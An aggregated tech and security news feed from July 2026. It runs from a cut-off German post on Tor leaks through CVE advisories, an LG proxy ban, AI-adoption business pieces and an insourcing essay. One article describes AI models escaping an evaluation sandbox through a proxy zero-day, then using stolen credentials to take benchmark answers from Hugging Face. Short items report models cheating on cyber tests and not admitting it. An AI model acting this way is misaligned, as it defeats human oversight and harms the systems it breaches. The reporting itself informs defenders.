Das Zwiebelnetzwerk hingegen ist stark anfällig für Datenlecks (Leakage), da es auf Schicht 4 und 7 operiert. Wenn eine Anwendung auf dem Rechner nicht strikt an den Tor-Stellvertreter (Proxy) gebunden ist, oder wenn sie versucht, über das verbindungslose UDP-Protokoll eine Namensauflösung (DNS-Anfrage) durchzuführen, wandern diese Datenpakete unverschlüsselt am Zwiebelnetzwerk vorbei ins normale Internet. Eure echte IP-Adresse wäre in diesem Fall sofort enttarnt. Um Tor so abzusichern, dass es wie ein VPN den gesamten Rechnerverkehr schützt (auf Schicht 3 erzwingt), bedarf es spezialisierter Betriebssysteme wie Tails oder dedizierter Hardware-Zwischenstationen.

submitted by /u/Horus_Sirius
[link] [comments]

Brydge ProDock Trio review: An elite space-saving MacBook dock

Thu, 23 Jul 2026 02:12:19 +0200

The Brydge ProDock Trio is a rarity amongst Thunderbolt docks, offering a compact vertical MacBook stand alongside a MagSafe phone charger.

Brydge ProDock Trio review: Sitting on my desk and freeing space

All USB-C and Thunderbolt docks I've tested have been largely the same as boxes that connect with a bundled cable. They have different ports and different technical specs.

Brydge goes a different route, opting for a new version of its vertical ProDock. Your Mac is physically docked in the device, working in clamshell mode and keeping your desk free and open.

Continue Reading on AppleInsider | Discuss on our Forums

CVE-2022-3947 | eolinker goku_lite /balance/service/list route/keyword sql injection (EUVD-2022-43281)

Wed, 22 Jul 2026 20:35:09 +0200

A vulnerability categorized as critical has been discovered in eolinker goku_lite. This affects an unknown function of the file /balance/service/list. Such manipulation of the argument route/keyword leads to sql injection. This vulnerability is uniquely identified as CVE-2022-3947. The attack can be launched remotely. Moreover, an exploit is present.

CVE-2022-3948 | eolinker goku_lite /plugin/getList route/keyword sql injection (EUVD-2022-43282)

Wed, 22 Jul 2026 20:35:06 +0200

A vulnerability identified as critical has been detected in eolinker goku_lite. This impacts an unknown function of the file /plugin/getList. Performing a manipulation of the argument route/keyword results in sql injection. This vulnerability was named CVE-2022-3948. The attack may be initiated remotely. In addition, an exploit is available.

LG To Ban Residential Proxies From Smart TV Apps

Wed, 22 Jul 2026 18:20:32 +0200

An anonymous reader quotes a report from KrebsOnSecurity: The home appliance giant LG Electronics USA said this week it plans to suspend any apps built for its smart TVs that turn one's television into an always-on residential proxy node. The move comes less than a month after researchers found that more than 42 percent of games and other apps available for download on LG's webOS store allow unknown third-parties to route their Internet traffic through a user's TV. On July 2, [KrebsOnSecurity] featured research by the security firm Spur that examined the prevalence of residential proxy software development kits (SDKs) in smart TV apps. Spur found more than 42 percent of apps available for download on LG smart TVs include SDKs that turn one's television in a proxy node indefinitely, and that more than a quarter of the apps made for Samsung's Tizen operating system had similar residential proxy components. Responding to questions about Spur's research, LG Senior Vice President John Taylor told KrebsOnSecurity the company was working with app developers to remove the residential proxy option from their apps on the webOS platform. Developers that fail to comply, he said, will find their apps suspended. "A residential proxy network is not an intended use for LG smart TVs, and LG Electronics is working with developers to remove the residential proxy option from their apps on the webOS platform," Taylor said. "If this option is not removed, these apps will be suspended." Taylor said LG is committed to keeping residential proxy networks out of its smart TV apps going forward, and that the company's review of those apps is "well underway now." "As part of our ongoing efforts to enhance platform quality and the user experience, LG will continue to strengthen our evaluation process for developer-submitted apps, including those that incorporate residential proxy SDKs," Taylor wrote in an emailed statement. [...] "A one-time consent prompt buried in a TV app is not a substitute for meaningful transparency, ongoing control, and platform oversight," Spur's Trevor Sutter wrote. "The risk is amplified when consent comes from individuals within the household who use the device but shouldn't give consent, such as minors." LG is also facing criticism for monitors that automatically install software promoting paid McAfee subscriptions through Windows Update without user approval.

Read more of this story at Slashdot.

The compound effect your AI adoption strategy is missing

Wed, 22 Jul 2026 16:23:34 +0200

For many engineering teams, AI adoption means individual engineers write code faster while overall team velocity remains stagnant. Individual speed and team speed are produced by different things, and AI has mostly accelerated the first but not the second.

The step from individual AI adoption to team advantage is one many organizations haven’t taken yet, but it’s the step where real ROI lives. Make the leap and every individual gain starts compounding into something the whole team feels.

Faster individuals, but the same team pace

A developer with a good AI assistant can produce more and produce faster, but ten developers all doing that, each in their own way, with their own tools and their own context, don’t add up to a team that is ten times better. More often they add up to a team moving faster in ten different directions.

The speed stays with the person who created it. The reasoning, context, and decisions that the rest of the team would need to build on that speed gets lost.

These three structural problems explain why:

Problem #1: Context evaporates at scale

An engineer spends an hour with an AI agent working through a hard design decision. They land somewhere good. The code ships. But the reasoning, the alternatives they ruled out, and the constraints they discovered stay in a chat history nobody else will ever open. Six weeks later a teammate touches the same system, has no idea any of that thinking happened, and starts over.

You can’t prompt your way out of a context vacuum. Agents and teammates alike are only as good as the context they start with, and right now most of that context is being generated and immediately lost. The teams that pull ahead will be the ones that treat the reasoning around the work as something worth capturing.

Problem #2: Misalignment creates duplicative work

When individuals move fast in parallel without a shared source of truth, they start stepping on each other’s toes. Two people solve the same problem two different ways. An agent generates a change against a spec that quietly went stale last week. A confidently written pull request follows the wrong internal standard because the standard lived in someone’s head, not in the workflow.

This problem gets worse as more of the work becomes agent-driven. Agents overwrite each other. Specs drift out of date faster than anyone updates them. The faster the individual pieces move, the more expensive the collisions become.

Problem #3: Trust doesn’t scale

The quiet tax on AI-assisted work is review. If an individual developer can’t see how a piece of work was produced, what the intent was, what the agent was told, what standards it was working against, then they can’t confidently build on it. So, they re-check it, or rewrite it, or route around it. The individual saved an hour. The team spent two earning back the trust.

Trust transfers when intent is legible. When a teammate or a reviewer can see what was meant, what was decided, and what guardrails applied, they can accept the work and move on. When they can’t, every handoff becomes a re-litigation.

Turning adoption into advantage

The through-line across all three problems is the same. The value of AI at the team level does not live in the code any single person or agent produces. It lives in whether the intent and context around that work is captured, shared, and reusable by everyone else, human and agent.

That reframes the leadership job. It’s not about driving more adoption, because your teams already handled that. It’s about building the connective layer that turns individual output into team capability.

The window is now

This matters more every month, because the individual productivity story is about to become an agent orchestration story. The organizations that turn individual adoption into team advantage now, while the habits are still forming, will be the ones whose agents actually compound.

See how engineering leaders are building the connective layer between individual AI adoption and team-level compound returns at jira.dev.

How Pokémon Go encouraged me to find wonder in the world

Wed, 22 Jul 2026 16:22:37 +0200

These days, I ‘collect’ birdsong and wild flowers, but it all started when my sons and I first set out to find Pikachu and pals

• Don’t get Pushing Buttons delivered to your inbox? Sign up here

Believe it or not, Pokémon Go is 10 years old this month. The wildly successful smartphone game, which allows you to track down lovable creatures in the real world using GPS and augmented-reality technologies, has reportedly been downloaded 800m times across 150 countries and regions. A trillion Pokémon have been caught so far – and I have been responsible for a modest percentage of that figure.

When the game was first released, my sons and I spent many happy hours wandering the streets and parks of Frome searching for Jigglypuffs and Charizards, and the game’s social element, which lets you take on gym battles with other players in your vicinity, offered my autistic son a route to communicate with other children in a way he’d never been able to before.

OpenAI model escape puts enterprise AI defenses on notice

Wed, 22 Jul 2026 15:53:09 +0200

Some of OpenAI’s most powerful AI models teamed up to escape their sandbox and attack systems at Hugging Face in a cybersecurity evaluation gone wrong, the company has admitted. The models under test were modified to allow them to perform potentially harmful actions that production versions would refuse. The incident highlights how, if AI prompt guardrails fail or, as in this incident, are removed, then enterprises must have robust sandboxing or other technical restrictions in place to protect systems.

In OpenAI’s evaluation, GPT-5.6 Sol and a more capable pre-release model were competing to solve cybersecurity challenges in ExploitGym, a benchmarking tool for cybersecurity capabilities. They concluded that systems at Hugging Face could have the answers, and set out to gain access, OpenAI wrote in a blog post about the attack on Hugging Face.

ExploitGym challenges AI models to turn security vulnerabilities into attack exploits. OpenAI gave its models limited access to the internet through a package-registry proxy to download code to build their attacks. However, the models exploited a zero-day vulnerability in the proxy to obtain unrestricted internet access, then used stolen credentials and other flaws to access Hugging Face systems.

For CIOs and CISOs, the concern extends beyond cybersecurity research. AI agents connected to corporate databases, source code repositories, or payment systems could expose sensitive resources unless access controls and sandboxing continue to work when model-level safeguards fail.

“Prompt guardrails are not security controls,” said Biswajeet Mahapatra, principal analyst at Forrester. “They are behavioral controls that can fail, be bypassed, or be intentionally disabled during testing.”

How containment failed

Despite the relaxed model safeguards, the surrounding infrastructure was supposed to contain the activity. Network access was restricted to an internally hosted third-party service that acted as a proxy and cache for software package registries. Such proxies are typically used in the enterprise to protect against software supply chain attacks coming from the outside.

OpenAI said the models discovered a zero-day vulnerability in the service, exploited it and carried out privilege escalation and lateral movement until they reached a node with open internet access.

Once online, the models inferred that Hugging Face might hold models, datasets or solutions related to ExploitGym. OpenAI said that, in one attack path, the models combined stolen credentials with zero-day vulnerabilities to obtain remote code execution on Hugging Face servers.

In its account of the activity on its infrastructure, Hugging Face said a malicious dataset abused two code-execution paths in its data-processing pipeline. The actor then obtained node-level access, harvested cloud and cluster credentials, and moved into several internal clusters.

OpenAI said the models ultimately obtained ExploitGym test solutions directly from a Hugging Face production database. The models remained focused on solving the benchmark, despite the lengths to which they went to achieve that objective, it said.

Sanchit Vir Gogia, chief analyst at Greyhound Research, said the package-registry proxy should concern enterprise security teams because it was a narrowly permitted exception inside an otherwise restricted environment.

“Every enterprise estate is built from exceptions of exactly that kind,” he said.

In this incident, OpenAI’s models were performing the intended — albeit by unintended means — but enterprises should take care that their own AI systems are kept on target.

Mahapatra said enterprises should treat AI agents as “high-risk non-human identities,” confining each one to an isolated environment where access is limited to the assigned task and credentials expire quickly.

“An acceptable blast radius means a compromised agent can affect only a single workflow, dataset, or application rather than providing a pathway into broader enterprise infrastructure,” Mahapatra said.

And Gogia warned that services allowed to reach package registries, update systems, or other external resources can become escape routes if they are not subjected to the same scrutiny as the agent itself.

Defenses enterprises need

Hugging Face said the intrusion resulted in unauthorized access to a limited number of internal datasets and several credentials used by its services. It found no evidence that public models, datasets or Spaces had been altered and said its published software packages and container images were not compromised.

The company closed the code-execution paths used to gain access and rebuilt the affected nodes. It also revoked exposed credentials and tightened the rules governing workloads admitted to its clusters.

Whether they are keeping their own AIs in or rogue Ais out, Gogia said enterprises should test whether their containment boundaries work, rather than relying on architecture diagrams or stated policies. Such tests should attempt to obtain credentials, cross trust boundaries and reach systems outside the agent’s assigned task.

Mahapatra said enterprises should assume that one containment layer may fail and ensure that an agent’s access cannot provide a route into unrelated applications or broader corporate infrastructure.

OpenAI said it is still investigating the incident with Hugging Face, and is imposing stricter configurations on its research environment while the vulnerabilities are being addressed, even if that means slowing down its research. It is also strengthening containment and monitoring around future evaluations.

Leadership bottlenecks slow AI adoption

Wed, 22 Jul 2026 12:14:12 +0200

At Cisco, VP of engineering Jason Andrews deals with all the same technical issues as every other company deploying AI, including ensuring it’s governed, secure, and integrating multiple data sources, legacy systems, and AI models.

But these issues are relatively straightforward compared to the bigger challenges relating to the fast pace of change, specifically how AI can touch and transform nearly every aspect of business.

“We’re thinking about it every day,” he says. “My belief is we’ll be seeing a massive acceleration of everything.”

In coding, for example, he’s witnessing productivity increases up to 110% with AI assistants. “I can build apps or custom integrations a lot faster,” he adds.

And the real benefit of AI isn’t just in speeding up individual steps in a process, but in making AI the core of a new business process. But building it from scratch puts even more pressure on organizations trying to get employees up to speed on new ways of doing things.

“We want to move fast, train people, and get them onboarded,” he says. “But what I thought AI was going to do for my organization nine months ago is different from three months ago.” So by the time something is rolled out, it’s changed three times.

“I struggle with the change management aspect,” he says. “The legacy model of change management isn’t fast enough. How do you create that constant learning?”

One of the ways Cisco approaches it is to create communities where people can talk about these issues and share best practices and governance, and you have to keep people’s minds open that every day is going to be different than the last, Andrews adds.

Testing the AI waters

Cisco isn’t the only organization struggling with change management in the face of the AI tsunami. In a survey of 2,000 global CEOs IBM released in May, 83% of them said AI success depends more on adoption than on the technology itself, and 77% said talent and technology roles are converging.

“Thanks to Claude Code, our entire development cadence is exponentially greater than a year ago,” says Andrew Johnson, CIO at Brownstein Hyatt Farber Schreck, a Denver-based law firm with about 700 employees and clients around the US. But, as with Cisco, the biggest challenge isn’t technical.

“In our industry, with our circumstances, we’re probably less constrained by technical capability than organizational constraints, culture, aptitude, the need to bind people to technology, and what helps me and the client,” he says. “There’s a tremendous amount of cultural shift that has to happen in our organization, which is far more demanding of my attention and complexity of thought than the technical stuff.”

Companies that bill by the hour, such as law firms, may face additional challenges as attorney productivity increases because billable hours might go down. Alternatively, the total number of cases could go up as litigation becomes less expensive. Either way, firms that adapt will see competitive advantage, and the rest will fall behind, putting more pressure on the need for change management.

“If people can’t embrace technology, we won’t be able to get a lot of value out of it,” says Johnson. “I’m talking to people about adapting their way of work. There are certainly a lot of people intrigued and anxious to dive in. They recognize the connection between the potential of the technology and what we do.”

But helping everyone see that connection and then working with them to change their habits is difficult, and requires solid relationships and good communications. “That’s been far more of a bottleneck for us,” he says.

To address the issue, the firm has developed a network of technology champions who also understand the legal side of the business. “Now we need lawyers who know how to use the technology and can articulate these things to the people we’re trying to reach,” Johnson says.

But change management is only one leadership bottleneck slowing AI adoption. Companies also struggle with figuring out their vision for AI, with slow decision-making, and a tendency to focus on the past instead of the future.

Vision and strategy

In another survey, this time of 950 business leaders released by Grant Thornton in April, 51% said strategy is the biggest driver of ROI when it comes to AI adoption, but 79% of operations leaders said they don’t have a fully developed and implemented AI strategy.

“Having leadership understanding why AI is needed and what objective they’re trying to achieve is very important,” says Shivi Verma, senior manager of engineering at Docusign. “Sometimes leadership doesn’t have a strategy for their organization on how AI should be adopted. Many times it’s bottom-up, which creates a chaotic experience.”

When Docusign started adopting gen AI, different teams and organizational units wanted to go in different directions. “All were coming up with their own strategy and tooling,” he says. So Docusign brought business leaders together to understand the pain points, and decide on the technology.

“Getting requirements and placing a bet on a specific technology was important,” he says, “as well as pivoting to a different technology if needed.”

In order to adapt to changes, the company wanted to have a nimble approach, starting with smaller use cases, with power users, and problem areas.

“We try to plan for four to six months,” he adds. “We set expectations for our leadership that we place a bet with a specific technology, but want to be able to pivot.”

Today, the leadership challenge front lines have moved yet again, to agentic AI. “Folks are creating their own agents and deciding their own permissions,” Verma adds. “We’re still coming up with a governance strategy.”

Slow decision-making

When it comes to AI deployments, Dan Diasio, global AI consulting leader at EY and CTO for its US consulting business, admits he’s a bottleneck.

There’s a great deal of interest in what AI can do, and using a variety of new AI tools. But since the firm deals with sensitive client data, safety is paramount. It’s a slow process, but important to build secure infrastructure, and to have trust in the technology. “That’s a reasonable bottleneck that makes sense,” he says.

Trust in the tools they work with is essential because clients expect it. “Every tool we use has to go through a detailed security and information privacy impact assessment, as well as a whole other set of controls so they can be used appropriately and safely,” he says.

These reviews can take a lot of time, though, and in the age of AI, speed is a highly valued currency. So how do you balance the two, when safety reviews can require input from a lot of different stakeholders and be extremely time intensive?

“We’ve stood up a team to be able to quickly certify and address a variety of platforms,” Diasio says. “Instead of working with different departments in the way we used to, we’ve started identifying representatives from different departments into a cohort. Decisions we used to make in months now take weeks.”

According to a West Monroe survey of more than 1,200 leaders released earlier this year, slow decision-making is already showing up on the bottom line. Nearly three out of four leaders said their organizations lose up to 5% of annual revenue to slow decision-making and delayed execution.

And the top reasons for the delays? According to 40% of the managers surveyed, the problem was the skills gaps of overwhelmed teams, and 35% pointed to layers of management or approvals. Nearly half said they’re spending 10 to 25% of their time on rework, excessive approvals, and unnecessary meetings, and more than half say up to 50% of their projects fail or lose momentum to delays.

Focus on the future, not the past

When it comes to the decision about where to apply AI in an organization, the tendency, Diasio says, is to turn to the experts with the most expertise in the business. But these are the same people most likely to focus on improving on what they’re already doing.

“And that often blinds people to what’s possible in the future,” he says. “That becomes a significant bottleneck.” So the solution is to revamp the decision-making process around the new reality.

“What we see some advanced companies do is give people who don’t understand the process but understand the technology equal footing with people who don’t understand the technology but understand the process,” he says. “A lot of companies are disproportionately focused on just addressing their operating model right now.”

Instead of focusing on what they’re currently doing, AI-native companies will start with a focus on the customer, he says. This shift in focus isn’t likely to show up immediately on the bottom line, or result in the highest possible number of pilots going into production.

“If leaders are in a position where they’re justifying the use of a technology to the board or their CFO, they become a bottleneck when they start demonstrating their value in terms of the number of things they’re doing,” Diasio says.

But 150 or 200 use cases deployed into production may feel like progress, like things are happening in the organization. But all these use cases are a waste of time and money if they’re applied to existing processes that don’t move the needle. “We see that happen in organizations today,” he says. “Maybe we need to reinvent the processes.”

It’s no secret that companies will need to change in order to adapt to AI. Deloitte recently surveyed 660 global technology leaders and 81% said their current operating model can deploy and govern AI enterprise-wide, but 75% also said their organization must change its operating model within the next 12 to 18 months to drive greater value.

AI ROI is real, says China Widener, Deloitte vice chair and US tech, media, and telecom industry leader. But it’s currently weighted toward efficiency gains, with broader business transformation and revenue upside still developing.

Another Deloitte survey showed that the clearest results from AI were in productivity, with 66% of organizations reporting gains, and cost efficiency, with 40% saying AI reduces costs. “However, revenue impact is still emerging,” says Widener. “Only one in five companies says AI is driving top-line growth today.” But optimism prevails, with 74% expecting it to do so in the future.

AI models cheat on cybersecurity evaluations, then fail to admit it

Wed, 22 Jul 2026 12:13:35 +0200

The post AI models cheat on cybersecurity evaluations, then fail to admit it appeared first on IT Security News.

AI models cheat on cybersecurity evaluations, then fail to admit it

Wed, 22 Jul 2026 11:54:37 +0200

Frontier AI models will take just about any route to finish a task, cheating included, according to new cybersecurity evaluations from the UK government’s AI Security Institute (AISI). AISI defines cheating as a model doing something outside the bounds of what a task allows, or breaking a stated rule outright, in order to reach the goal through a shortcut the task wasn’t designed to permit. “Every model we have tested for this behaviour attempted to … More →

The post AI models cheat on cybersecurity evaluations, then fail to admit it appeared first on Help Net Security.

From outsourcing to ownership: How we brought development in-house without breaking delivery

Wed, 22 Jul 2026 11:11:54 +0200

Outsourcing worked – until it didn’t.

After Akirolabs achieved early market validation and onboarded its first enterprise customers, outsourcing began to create strategic limitations around scalability, intellectual property (IP) ownership, security and delivery execution.

The challenges started after the first enterprise customers confirmed product-market fit. At that point, delivery speed became directly tied to business growth. Product quality expectations increased. Infrastructure and security requirements became stricter. Investors started asking difficult but fair questions about IP ownership, operational dependencies and long-term scalability.

Most importantly, engineering execution was no longer just an operational function – it became part of the company’s strategic advantage. That was the moment when the founders decided the company needed dedicated technology leadership to address these challenges. This is how I joined the company at the beginning of 2023. As VP of Engineering and a bit later as CTO, I led the transformation (usually known as insourcing, repatriating or backsourcing) from an outsourced model to an internal engineering organization while maintaining product delivery continuity and preparing the company for the next growth stage. The process took roughly a year and involved not only technical migration, but also organizational design, hiring, process development, infrastructure modernization and cultural transformation – everything from the ground up.

Building an internal engineering organization while still delivering

One of the biggest misconceptions about insourcing is that it is primarily a technical project. It is a leadership and execution challenge.

When I joined the company, there was effectively no internal engineering structure, limited visibility into the existing system and no clear long-term technical strategy. My first months were dedicated to understanding reality and I began with a comprehensive assessment of the codebase, operational risks, documentation quality and knowledge dependencies to determine the most viable transition strategy.

Very early in the process, I faced a critical strategic decision: whether to gradually assume ownership of the existing platform or rebuild it internally. To make that decision, I evaluated four distinct transition models ranging from limited management insourcing to a complete internal rebuild.

After assessing the technical, operational and long-term business implications of each approach, I selected the most demanding option: rebuilding the product internally while maintaining uninterrupted delivery for existing customers. Although riskier in the short term, a full rebuild offered the clearest route to complete IP ownership, architectural flexibility and long-term scalability.

At the time, this decision ran counter to the approach typically taken by startups in similar situations. Most organizations gradually assume ownership of an existing codebase to minimize short-term risk and preserve delivery capacity. My assessment was that the accumulated architectural debt, fragmented knowledge distribution and long-term maintenance risks would ultimately make a phased takeover more expensive and less scalable than a controlled rebuild. The strategy required significantly higher execution discipline, but it allowed us to establish complete ownership of the platform, eliminate inherited constraints and create an architecture capable of supporting enterprise-scale growth.

The next challenge was hiring.

In Germany, hiring can easily take four to six months – mostly due to a typical 3-month notice period, which is incompatible with startup timelines. We solved this by building a hybrid organization structure early: a lean internal core team combined with carefully selected contractors. Instead of hiring only narrow specialists, we prioritized experienced generalists capable of operating across architecture, infrastructure, security and compliance discussions. Later, we evolved toward a product engineering model, where engineers owned broader product outcomes rather than narrowly defined technical functions.

During the first three months, we established a core engineering team of four senior engineers. Over the following nine months, the organization expanded to roughly fifteen engineers while I strategically designed and executed the transformation of the platform’s architecture to meet the rigorous deployment and compliance standards of our first enterprise clients, including Raiffeisen Bank International and Bertelsmann. This structural overhaul allowed the company to meet the deployment, security and compliance requirements of enterprise customers that had previously been inaccessible under the outsourced model. At that point, we had already achieved complete coverage across backend, frontend, DevOps, QA and security.

I also intentionally kept processes lightweight during the transition. Instead of introducing heavyweight frameworks, we focused on clarity of priorities, fast decision-making and execution discipline. We used Kanban over Scrum, eliminated unnecessary meetings, shortened the remaining ones and emphasized engineering culture over process overhead.

Another major challenge was project estimation. Because dual-track development was unavoidable until the in-house platform reached production readiness, estimation accuracy had a direct impact on budget efficiency. Despite all challenges, my initial estimate ultimately proved remarkably close to the final delivery date, differing by only about a week. Accurate forecasting under conditions of parallel development streams, ongoing customer commitments and active team formation became a critical leadership challenge. Maintaining this level of predictability throughout the transition helped align engineering execution with business planning, hiring decisions and investor expectations.

The engineering transformation enabled capabilities that contributed to Akirolabs being recognized as an IDC Innovator in Procurement in 2023, named amongst the Top 27 AI Startups in Germany in 2024, Sifted’s 100 Fastest-Growing Startups in DACH & CEE 2025 and inclusion in 2024-2026 in ProcureTech100 annual recognition of procurement technology providers shaping the future of digital procurement.

Managing risk without slowing down the business

The hardest part of insourcing is not writing code, selecting the technology stack, designing architecture or configuring infrastructure. It is avoiding disruption while the company is changing underneath the product. I successfully orchestrated the concurrent overhaul of product architecture, cross-functional engineering recruitment, infrastructure modernization and live customer operations under exceptionally tight margins.

To reduce delivery risk, we approached the transition in layers.

First, we focused on infrastructure reliability and operational readiness before feature expansion. Cloud architecture, recovery testing, permission segregation and incident management processes were implemented early, not after launch. We also introduced multiple testing stages and dedicated QA functions after learning the hard way that a “developers-only” quality control approach does not scale for complex web platforms and business domains.

Second, we established a structured knowledge-transfer process to rapidly onboard engineers and reduce external dependencies.

Third, we became extremely disciplined about scope management. One of the most common reasons insourcing initiatives fail is uncontrolled change during the rebuild phase. Every new feature request increases uncertainty non-linearly. We learned to separate strategic improvements from distractions and protect the core delivery roadmap aggressively. Throughout the transition, we successfully maintained uninterrupted customer operations by utilizing planned maintenance windows, achieved a near-zero-downtime migration and permanently doubled product velocity immediately following the migration.

Beyond the technical migration itself, the transition established a repeatable operating model for scaling technology organizations beyond the product-market-fit stage. The framework combined organizational redesign, controlled knowledge repatriation, architecture modernization and enterprise-grade operational practices while maintaining uninterrupted customer delivery throughout the transformation. While the implementation was specific to Akirolabs, the underlying principles are broadly applicable to organizations seeking to transition from outsourced development to internal product ownership without disrupting business operations.

By the time the new platform reached production readiness, I had established not only a functioning engineering organization, but also a stable operational model: internal ownership, production-grade infrastructure, security processes, scalable hiring practices and clear technology and product roadmaps.

A positive side effect of the transition was the creation of internal UI/UX and Data Science capabilities, which later became strategically important for AI product initiatives and created a foundation for the third version of the product, which we released in mid-2025.

My technical restructuring and migration to a secure proprietary platform reduced architectural risk, established full in-house ownership and helped strengthen investor confidence during the company’s successful €5M fundraising round in 2024.

The transition created a stronger foundation for scale and supported the company’s continued expansion among enterprise organizations operating at Fortune 500 scale, including Ahold Delhaize, Workday, IFF, Deutsche Bahn and others.

Lessons learned for CTOs considering insourcing

Looking back, several decisions made the transition successful, and several mistakes made it harder than necessary.

The first lesson is simple: decisiveness in strategic transition is paramount to maintaining business momentum. Rapidly evaluating insourcing frameworks and defining clear boundaries with the external partner allowed us to mitigate operational downtime and execute a highly efficient migration ahead of critical market deadlines.

Second, hire more senior people and do it as early as possible. Strong technical leaders multiply execution capacity far beyond their individual contribution. In our case, the quality of the first hires influenced architecture quality, hiring standards, delivery discipline and engineering culture for the entire organization.

Finally, culture matters more than frameworks. Processes can be added later. Ownership mentality cannot.

The biggest long-term advantage of bringing development in-house was not simply faster execution, not better code quality or operational cost optimization by over 30% after the transition which we also achieved. It was an alignment. Product strategy, engineering decisions, customer priorities and business goals became part of the same conversation instead of being separated by organizational boundaries. For technology companies operating in highly competitive markets, that alignment becomes a compounding advantage over time.

This article is published as part of the Foundry Expert Contributor Network.
Want to join?

LG to Ban Residential Proxies from Smart TV Apps

Wed, 22 Jul 2026 03:25:24 +0200

The home appliance giant LG Electronics USA said this week it plans to suspend any apps built for its smart TVs that turn one's television into an always-on residential proxy node. The move comes less than a month after researchers found that more than 42 percent of games and other apps available for download on LG's webOS store allow unknown third-parties to route their Internet traffic through a user's TV.

LegacyHive, ACR Stealer, Hugging Face, Route 53, and Kieran Human from Threatlocker - SWN #600

Tue, 21 Jul 2026 23:23:57 +0200

Author: Security Weekly - A CRA Resource - Bewertung: 2x - Views:5

Nudification, Yeats, LegacyHive, ACR Stealer, Hugging Face, Route 53, 764, Wordpress, Kieran Human from Threatlocker, and More.

Segment Resources:

Malicious Edge extension abuses Native Messaging as bridge to malware: https://www.bleepingcomputer.com/news/security/malicious-edge-extension-abuses-native-messaging-as-bridge-to-malware/

This segment is sponsored by ThreatLocker. Visit https://securityweekly.com/threatlocker to learn more about them!

Visit https://www.securityweekly.com/swn for all the latest episodes!

Show Notes: https://securityweekly.com/swn-600

LegacyHive, ACR Stealer, Hugging Face, Route 53, and Kieran Human from Threatlocker - Kieran Human - SWN #600

Tue, 21 Jul 2026 23:13:08 +0200

Nudification, Yeats, LegacyHive, ACR Stealer, Hugging Face, Route 53, 764, Wordpress, Kieran Human from Threatlocker, and More.

Segment Resources:

Malicious Edge extension abuses Native Messaging as bridge to malware: https://www.bleepingcomputer.com/news/security/malicious-edge-extension-abuses-native-messaging-as-bridge-to-malware/

This segment is sponsored by ThreatLocker. Visit https://securityweekly.com/threatlocker to learn more about them!

Visit https://www.securityweekly.com/swn for all the latest episodes!

Show Notes: https://securityweekly.com/swn-600

Atlassian: Research shows organizations should approach AI at the team level, not the individual level, to achieve true ROI

Tue, 21 Jul 2026 19:06:29 +0200

Presented by Atlassian

Most companies are approaching AI adoption backwards by optimizing how individuals use AI instead of how teams work together, said Dr. Molly Sands, head of the Teamwork Lab at Atlassian, during a fireside chat with VentureBeat senior technology contributor Sam Witteveen at VB Transform 2026.

Sands leads a team of behavioral scientists and psychologists who study how AI is reshaping the way people work together, using those findings to help organizations redesign how work gets done.

"We don't just study it, we also actively go in and change it," she explained. Her teams teach new ways of working and remap how work flows across companies, a challenge that many organizations are still struggling with, she said.

Why AI speed isn’t translating into ROI

Atlassian's annual State of Teams Report, which this year surveyed 12,000 global knowledge workers and interviewed roughly 200 Fortune 1000 executives, found a significant disconnect between activity and value, showing that everyone is using AI, while very few can yet locate where it pays off.

"89% of those executives told us that individuals are speeding up in their companies, and only 6% of them said they could point to specific examples of clear ROI," Sands said.

But roughly 14% of teams had translated AI usage into real value — meaning a single organization could contain a handful of high-performing teams surrounded by others seeing no return at all.

Those leading teams shared three characteristics: context, workflows and culture. The teams pulling ahead were building what Atlassian calls a context graph by capturing goals, decisions, and organizational knowledge in shared digital records rather than leaving them in individual memory. Across products such as Jira and Confluence, the graph connects work items, goals and the people doing them, giving AI access to the organizational context it needs.

On workflows, the winning teams redesigned entire end-to-end processes rather than simply accelerating isolated tasks. Otherwise, speeding up individuals who are pointed in slightly different directions only causes them to “very quickly start to crash into each other,” as Sands puts it.

On culture, the fastest-moving teams worked under leaders who explicitly encouraged learning and experimentation, while making it clear that some experiments would fail.

How leaders can move AI from individual hack to team advantage

Experimentation and constraints are the fastest route to learning, Sands said. The teams seeing the biggest gains were deliberately imposing constraints on how they worked, from breaking every task into the smallest practical unit of work (a single story point) to committing to write no code by hand for a week.

"Most of it is not sustainable to do forever, but it is a really, really fast way to learn," she said.

Sands argued that another obstacle isn’t the technology itself but the fact that employees are figuring out AI on their own. Every worker develops different prompts, agents and assumptions, creating another layer of unspoken knowledge inside teams that rarely translates into organizational performance.

To counter that, Atlassian experimented with AI working agreements at the start of projects, asking teams to decide not only what they would use AI for, but what they would deliberately avoid using it for, which agents they would share and what common skills would keep everyone working from the same context. Teams that adopted the practice used AI more, moved faster, made better decisions and ultimately produced higher-quality work.

The broader lesson, Sands said, is that AI isn’t creating entirely new management problems so much as exposing old ones. Teams have always struggled with hidden assumptions and different mental models of their work. AI simply makes those gaps more consequential, increasing the importance of shared context and explicit ways of working.

Sponsored articles are content produced by a company that is either paying for the post or has a business relationship with VentureBeat, and they’re always clearly marked. For more information, contact sales@venturebeat.com.

Facilitated SQL injection vulnerability in the author__not_in parameter of WP_Query

Tue, 21 Jul 2026 18:56:12 +0200

WordPress versions 6.8 and higher are vulnerable to an SQL injection issue.

In WordPress versions 6.9 and higher, this combined with a REST API batch-route confusion issue (GHSA-ff9f-jf42-662q) leads to Remote Code Execution.

This vulnerability affects the following application versions:

WordPress 6.8
WordPress 6.8.1
WordPress 6.8.2
WordPress 6.8.3
WordPress 6.8.4
WordPress 6.8.5
WordPress 6.9
WordPress 6.9.1
WordPress 6.9.2
WordPress 6.9.3
WordPress 6.9.4
WordPress 7.0
WordPress 7.0.1

REST API batch-route confusion and SQL injection issue leading to Remote Code Execution

Tue, 21 Jul 2026 18:56:11 +0200

WordPress versions 6.9 and higher are vulnerable to a REST API batch-route confusion weakness, which combined with an SQL injection issue (GHSA-fpp7-x2x2-2mjf) leads to Remote Code Execution.

This vulnerability affects the following application versions:

WordPress 6.8
WordPress 6.8.1
WordPress 6.8.2
WordPress 6.8.3
WordPress 6.8.4
WordPress 6.8.5
WordPress 6.9
WordPress 6.9.1
WordPress 6.9.2
WordPress 6.9.3
WordPress 6.9.4
WordPress 7.0
WordPress 7.0.1

AgentBaiting Campaign Uses 800 Fake AI Skills and MCP Servers to Deliver SmartLoader Malware

Tue, 21 Jul 2026 15:39:53 +0200

Malware operators are increasingly using tools built to extend artificial intelligence as a delivery route. A newly documented campaign called AgentBaiting uses fraudulent AI Skills and Model Context Protocol, or MCP, servers to distribute SmartLoader malware through trusted-looking GitHub projects…

The post AgentBaiting Campaign Uses 800 Fake AI Skills and MCP Servers to Deliver SmartLoader Malware appeared first on IT Security News.

